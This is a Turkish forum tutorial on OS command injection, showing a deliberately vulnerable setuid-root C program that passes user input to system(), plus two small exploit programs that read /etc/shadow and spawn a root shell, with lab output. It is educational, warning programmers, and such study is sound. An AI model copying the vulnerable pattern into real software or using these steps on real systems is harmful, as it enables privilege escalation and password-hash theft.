folder Tahribat.com Forumları
linefolder Bilgisayar Güvenliği - Backdoorlar
linefolder İşletim Sistemleri Komut Enjeksiyonu Zayıflıkları



İşletim Sistemleri Komut Enjeksiyonu Zayıflıkları

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    r3dros
    r3dros's avatar
    Kayıt Tarihi: 17/Temmuz/2005
    Erkek

    Geçtiğimiz günlerde, Amerikan Ulusal Güvenlik Teşkilatı (NSA) çeşitli güvenlik firmalarıyla ortaklaşa yaptığı bir araştırmanın istatistiksel sonuçlarını duyurdu. Araştırmada programcılardan kaynaklanan en tehlikeli 25 hata yer aldı. "İşletim Sistemleri Komut Enjeksiyonu" zayıflığı bu listenin 5. sırasında ve risk seviyesi yüksek olarak işaretlenmiş. Bu yazıda, söz konusu zayıflığın nasıl oluştuğu ve engellenmesi için neler yapılması gerektiği anlatılacaktır.

    NE NEDİR NASIL CALIŞIR ?

    Zaman zaman yazılımlarda, çeşitli fonksiyonları yerine getirmek için harici bir yazılım (komut/modül) çağırmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time vb. komutlar verilebilir.Söz konusu hatanın kurbanı olmak, hemen her programlama dilinde (JAVA,Assembly, C/C++ vb...) ve hemen her işletim sisteminde mümkün ve bu zayıflık sayesinde lokal bir kullanıcı, yetkisini en üst düzeye yükseltebilir veya komutlar çalıştırabilir. 

    Öncelikle senaryo şu olsun, yazdığınız bir yazılım "root" yetkisiyle sisteme kurulmuş,  ve yazdığınız yazılımın çeşitli fonksiyonları yerine getiren alt yazılımları/moduler var ana programınızda Linux'ta hazır bulunan ve belirtilen yazılımın işlem hızını gösteren "time" komutunu kullanarak ana programınızdan alt programların işlem hızını göstermek istiyorsunuz.Aşağıda ki, söz konusu zayıflığı barındıran kodu bunu yapan kod parçası olarak düşünün.

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    int main(int argc, char *argv[])
    {
    char komut[256];
    if(argc<2)
    {
    printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n");
    }
    memset(&komut,0,sizeof(komut));
    strcat(komut, "time ./");
    strcat(komut,argv[1]);
    system(komut);
    return 0;
    }

    Hatayı barındıran kodumuzu derliyoruz ve programımızın haklarını değiştiriyoruz, senaryomuza göre, varsayalım ki programımız "root" haklarıyla yani en üst düzey kullanıcı haklarıyla çalışıyor.

    murderkey@labs:~$ cc vuln.c -o vuln
    root@lab:~# chown root.root vuln
    root@lab:~# chmod +s vuln
    root@lab:~# exit
    murderkey@labs:~$

    Yukarda ne yaptık? Öncelikle programımızı derledik hemen ardından kullanıcı sahibini değiştirdik ve onun ardından da "+s" parametresi ile program calıştığı sürece calışanın o haklara sahip olmasını sağladık. Devam edelim ve  programımızı çalıştıralım, bakalım istediğimiz gerçekleşiyor mu? Ondan önce, ben ekrana basitçe "Merhaba Dünya" mesajini basan bir kod yazdım ve derledim amacim bu programın işlem hızını ögrenmek.

    murderkey@lab:~$ ./vuln helloworld
    Merhaba dunya
    real 0m0.002s
    user 0m0.000s
    sys  0m0.000s
    murderkey@lab:~$

    Bir programcı klasiği olan merhaba dünya adlı ufak bir yazılım yazdık ve vuln adlı yazılımımızı hatırlıyorsanız parametre olarak girilen yazılımların çalışma hızını gösteriyordu, bizde parametre olarak Merhaba Dünya yazan programımızın çalışma hızını öğrenmek istedik.Buraya kadar yazılımımız sorunsuz çalıştı görünürde hiçbirşey yok. Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklı davranan bir kullanıcı, programında farklı davranmasına sebep olacaktır.

    Biz burada helloworld adlı kod yerine başka birşey calıştırsak ne olurdu? Örneğin, cat /etc/shadow adlı komutu çalıştıran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde belirtilen komutları işleyen bir kod yazalım.

    main(void)
    {
    system("cat /etc/shadow");
    return 0;
    }
    murderkey@lab:~$ cc exp1.c -o exp1
    murderkey@lab:~$ ./vuln exp1
    ...
    sync:*:14062:0:99999:7:::
    games:*:14062:0:99999:7:::
    man:*:14062:0:99999:7:::
    lp:*:14062:0:99999:7:::
    mail:*:14062:0:99999:7:::
    news:*:14062:0:99999:7:::
    uucp:*:14062:0:99999:7:::
    ...
    real 0m0.003s
    user 0m0.000s
    sys  0m0.000s
    murderkey@lab:~$

    Aklımıza gelen fikir kusursuz işe yaradı. Normal şartlar altında sistemde ki kullanıcıların (user) kullandığı şifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatırlayın zayıflığa sahip programımız üzerinden bir kod çalıştırdık ve zayıflığa sahip yazılım root yetkileriyle çalışıyor bundan dolayı normal kullanıcı yetkilerine sahip bir kodu root yetkisiyle çalıştırmayı başardık.

    Şimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalışarak sistemde ki erişim seviyemizi en üst düzeye çekmeye çalışalım, aynı şekilde "cat /etc/shadow" komutunu çalıştıran kodumuzun tek satırını değiştirerek derliyoruz.

    main(void)
    {
    system("/bin/sh");
    return 0;
    }
    murderkey@lab:~$ cc exp2.c -o exp2
    murderkey@lab:~$ ./vuln exp2
    real 0m0.002
    user 0m0.000
    sys  0m0.000
    root@lab:~# id
    uid=0(root) gid=0(root) groups=0(root)
    SONUC

    Görüldüğü gibi tek satırı değiştirerek programımızdaki zayıflık sayesinde  sistemde en üst düzey kullanıcı yetkisi yani "root" yetkisine ulaştık.Sanırım NSA yaptığı araştırmada sistemlere zarar veren en tehlikeli 25 açık arasında 5. sıraya yazımızın konusu olan Komut Enjeksiyonu hatasını koymakla hata yapmamış.Çok basit ve gözden kaçması kolay olan fakat risk seviyesi oldukça yüksek bir hata, çeşitli filtrelemelerle veya kullanıcı haklarının iyi ayarlanması (gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aşılabilir.Benim amacım, bu yazıda durumun ciddiyetini programcılara göstermek fakat talebe bağlı olarak çeşitli yazılım açıklarının (Buffer Overflow, Format String vs) nasıl engellenebileceğine dair ufak bir yazı yazılabilir. Umarım bu yazı konunun ciddiyeti hakkında kafanızda bir şeylerin oluşmasına yardımcı olmuştur.Yazıda herhangi bir hata veya atladığım nokta olduğunu düşünüyorsanız iletişime geçerek yardımcı olabilirsiniz ve tabii bunun için üzgünüm.

    Not: Bugüne kadar yaptıkları olumlu eleştiriler/yönlendirmeler için Celil Ünüver'e teşekkür ederim.

    REFERANS

    [1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors

    [2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article

    [3] Princible of Least Privilege http://www.hellcode.net/ppe.txt

    [4] FreeBSD Telnet Daemon Zero-Day (Yazının yazılmasından bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/

Toplam Hit: 2232 Toplam Mesaj: 1